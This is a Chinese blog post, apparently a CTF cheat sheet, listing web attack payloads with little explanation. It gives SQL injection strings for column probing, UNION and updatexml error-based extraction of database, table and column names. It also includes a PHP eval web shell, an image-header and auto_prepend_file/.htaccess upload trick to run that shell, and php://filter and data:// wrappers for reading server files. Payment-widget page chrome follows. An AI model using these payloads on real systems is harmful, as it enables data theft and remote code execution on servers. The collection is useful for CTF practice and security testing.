web一些代码

文章展示了多种SQL注入攻击的方法,包括利用UNIONSELECT、ORDERBY、GROUP_CONCAT等语法获取数据库信息,如数据库名、表名、字段名以及数据本身。同时,提到了一些可能的绕过策略和文件操作技巧,如base64编码和PHP的自动预处理文件功能。这些示例突显了Web应用程序安全的重要性及其潜在的漏洞利用风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1' order by 位数 --+

-1' union select 1,2,3 --+

-1' union select 1,2,database(); --+

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db'--+

-1' union select 1,2,group_concat(id,flag) from test_tb --+

-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

1' order by 4--+#爆字段%23=#
1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+#爆库
test_db
格式错误0x7e :1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db',0x7e limit 0,1),3)--+#爆表

正确格式name=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='wfy' limit 0,1),0x7e),1)--+#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 0,1),0x7e),3)--+#爆列

正确:1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_admin' limit 0,1),0x7e),1)--+
1' and updatexml(1,concat(0x7e,(select flag from test_tb,0x7e limit 0,1),3)--+#提取flag 

正确:1'and updatexml(1,concat(0x7e,(select id from wfy_admin limit 0,1),0x7e),1)--+

           1' and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)--+ 
#用mid或reverse函数都可以提取完整flag
id=-1 union selet 1,database(),3,
select group_concat(table_name) from information_schema.tables where tables_schema='sql' limit 0,1;
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23
绕过下划线的话可以考虑用 加号(+) 左中括号([) 空格( ) 点号(.)

<?php @eval($_POST['cmd'])?>

GIF89a
auto_prepend_file = 1.jpg
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
(select column_name from information_schema.columns where table_schema='test_db' and table_name='test_tb'limit 1,2)
php://filter/convert.base64-encode/resource=文件路径
url ?file=php://filter/read=convert.base64-encode/resource=flag.php

?text=data://text/plain,welcome to the zjctf

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  //使用base64编码
<FilesMatch "c.jpg">
SetHandler application/x-https-php
</FilesMatch> 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值